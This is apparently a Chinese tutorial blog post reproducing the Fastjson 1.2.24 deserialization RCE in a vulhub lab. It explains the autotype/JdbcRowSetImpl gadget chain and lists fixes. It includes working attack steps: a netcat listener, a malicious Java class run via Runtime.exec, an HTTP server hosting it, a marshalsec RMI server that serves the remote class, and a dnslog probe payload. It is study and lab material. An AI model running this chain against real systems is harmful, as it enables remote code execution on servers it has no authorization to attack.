• Fastjson反序列化漏洞(1.2.24 RCE)


    目录

    (一)Fastjson介绍

    1、认识Fastjson

    1.1 序列化

    1.2  反序列化

    1.3 @type 自省 Autotype

    (二)漏洞原理

    1、比较常用的攻击类

    1.1  com.sun.rowset.JdbcRowSetImpl

    1.2 com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp

    (三)1.2.24 RCE复现

    1、vulnhub启动

    注意:Linux配置JRE版本

    2、攻击机监听(kali)

     3、恶意脚本准备与上传(kali)

    1、编译成 class文件

    2、启动HTTP服务器

    4、LDAP服务启动(kali)

    1、借助marshalsec项目,快速开启rmi或ldap服务

    2、启动一个RMI服务器,监听9473端口,并制定加载远程类LinuxTouch.class:

    5、Burp发送payload

     (四)漏洞原理(JdbcRowSetImpl利用链)

    1、set方法

    1. 1、setSourceName()

    1.2、setAutoCommit()

    (五)漏洞挖掘

    1、思路

    1.1 找到发送JSON序列化数据的接口

    1.2  判断是否使用fastjon

    (六)修复方案

    1、升级JDK

    2、升级Fastjson到最新版

    3、使用安全产品过滤非法内容

    4、更换其它序列化工具


    (一)Fastjson介绍


    1、认识Fastjson

            Fastjson是一个JSON工具库,它的作用就是把java对象转换为json形式,也可

    以用来将 json 转换为 java 对象。

    1.1 序列化


            序列化的时候,会调用成员变量的get方法,私有成员变量不会被序列化,注意它不包括类名。
    eg:
    1. String text-JSON.toJSONString(obj);//序列化
    2. {name='jinyouxin', age=66, flag=true, sex='boy',address='null'}

    1.2  反序列化


            反序列化 的时候, 会调用成员变量的set方法, publibc修饰的成员全部自动赋值。
    • JSON.parseObject
            返回实际类型对象(用得更多),后面接想要反序列的类型, 返回实际类型对象 .

    eg:

    User user4 = JSON.parseObject( serializedStr, User.class);
    • JSON.parse
            JSON.parse() 返回JsonObject对象
    eg:
    Object obj1 =JSON.parse(serializedStr);

    1.3 @type 自省 Autotype


            引入这个功能的目的是在序列化的时候防止子类中包含接口或抽象类的时候,类型丢失,这样我们在反序列化的时候就不需要再指定类名。

    eg:

    之前我们序列化对象时: {name='jinyouxin', age=66, flag=true, sex='boy', address='null'}
    现在我们引入了自省后为  {" @type ":" com.jinyouxin.test.User ","age":33,"flag":false,"name":"wuya"}
            漏洞在这里就发生了,@type中提供了对对象反序列化的类型定义,我们就可以修改此内容的值。

    (二)漏洞原理


            fastjson在对 JSON 字符串进行反序列化的时候,会读取 @type 的内容,试图把 JSON 内容反序列化成这个对象,并且会调用这个类的set方法, 利用这个特性,构造一个 JSON 字符串,并且使 @type 反序列化一个自己想要使用的 攻击类库

    1、比较常用的攻击类


    1.1  com.sun.rowset.JdbcRowSetImpl

            这是sun 官方提供的一个类库,这个类的 dataSourceName 支持传入一个rmi 的源,当解析这个 uri 的时候,就会支持 rmi远程调用 ,去指定的rmi 地址中去调用方法

    1.2 com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp

    原理同上

    (三)1.2.24 RCE复现


    1、vulnhub启动

    1. cd fastjson/1.2.24-rce
    2. docker-compose build
    3. docker-compose up -d

     

    访问端口:

     

    注意:Linux配置JRE版本

    vim /etc/profile
    export
    JAVA_HOME=/usr/local/soft/java/jdk1.8.0_74
    export PATH=$JAVA_HOME/bin:$PATH
    export
    CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HO
    ME/lib/tools.jar
    source /etc/profile

    2、攻击机监听(kali)


    nc -lvp 9001

    之前在Redis未授权漏洞介绍过反弹连接,在这里就是启动此环境

     3、恶意脚本准备与上传(kali)


    1、编译成 class文件

    编译恶意代码,通过javac LinuxRevers 编译成class文件,将编译好的class上传至你的web服务器,地址为http://yours_ip/exp/LinuxTouch.class

    1. public class LinuxTouch {
    2. public LinuxTouch(){
    3. try{
    4. Runtime.getRuntime().exec("touch /tmp/fast-success.txt");
    5. }catch(Exception e){
    6. e.printStackTrace();
    7. }
    8. }
    9. public static void main(String[] argv){
    10. LinuxTouch e = new LinuxTouch();
    11. }
    12. }

            仔细阅读代码不难发现,只要下载代码,里面有main方法,就要执行恶意代码,攻击执行

    2、启动HTTP服务器


    • python -m http.server 8089                                py3
    • python –m SimpleHTTPServer 8088                 py2

            启动http服务的目的是给LinuxTouch.class提供下载,假如我们在浏览器直接输入url时,它就会自动下载.class文件。

    4、LDAP服务启动(kali)


    1、借助marshalsec项目,快速开启rmi或ldap服务

    1. git clone https://github.com/mbechler/marshalsec #下载marshalsec
    2. apt install maven #下载maven,使用maven进行编译jar包
    3. cd marshalsec mvn clean package ‐DskipTests

    2、启动一个RMI服务器,监听9473端口,并制定加载远程类LinuxTouch.class:

            我们可以把它理解为中介,如果有人访问9473端口的话,就让这个人访问LinuxTouch.class,把它自动下载到本地。

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.142.132:8089/#LinuxTouch" 9473

     

    5、Burp发送payload


            

            我们先用POST访问 8090 的端口,本网页可以接收序列化和反序列化的接口,它就拿到下面的内容进行反序列化,@type 具有自醒的功能,在反序列化的过程中,它会连接到本机已经在kali里面已经启动好的RMI的服务,RMI让它去访问下载LinuxTouch.class文件,这样攻击就发生了。

     

     (四)漏洞原理(JdbcRowSetImpl利用链)


            经过上面的漏洞复现,我们大致可以理解漏洞执行的过程,接下来就要具体分析里面方法是怎么 "connect"

    1、set方法

            我们想要把二个属性 dataSourceName 和 autoCommit 反序列化成JdbcRowSetImpl类,要调用setDataSourceName()和setAutoCommit()的方法。

    1. 1、setSourceName()

             给数据源的名字进行赋值。

    1.2、setAutoCommit()

    connect()的方法就危险!!!

             JNDI一旦调用lookup()方法,就会连接到LDAP/RMI服务器,下载恶意代码到本地,执行,攻击发生.

    (五)漏洞挖掘


    1、思路

    1.1 找到发送JSON序列化数据的接口

    1.2  判断是否使用fastjon

    • 1)非法格式报错
    {"x":"

     

    • 2)使用dnslog探测
    {"x":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}

    (六)修复方案


    1、升级JDK

     

    6u211 / 7u201 / 8u191 /11.0.1

    2、升级Fastjson到最新版

    fastjson.parser.safeMode=true

    3、使用安全产品过滤非法内容

    4、更换其它序列化工具

    Jackson/Gson

  • 相关阅读:
    Servlet
    Pyside6 QFile
    Leetcode 828. 统计子串中的唯一字符
    Bearpi开发板HarmonyOS之ADC采样
    Intel汇编-JMP无条件调转
    Spring Boot + Vue的网上商城之客服系统实现
    [附源码]SSM计算机毕业设计班级风采网站JAVA
    Oculus开发入门
    react+vite配置module.scss(css in js)
    [高性能] 关于如何高效的往本地写入视频
  • 原文地址:https://blog.csdn.net/m0_61506558/article/details/126818902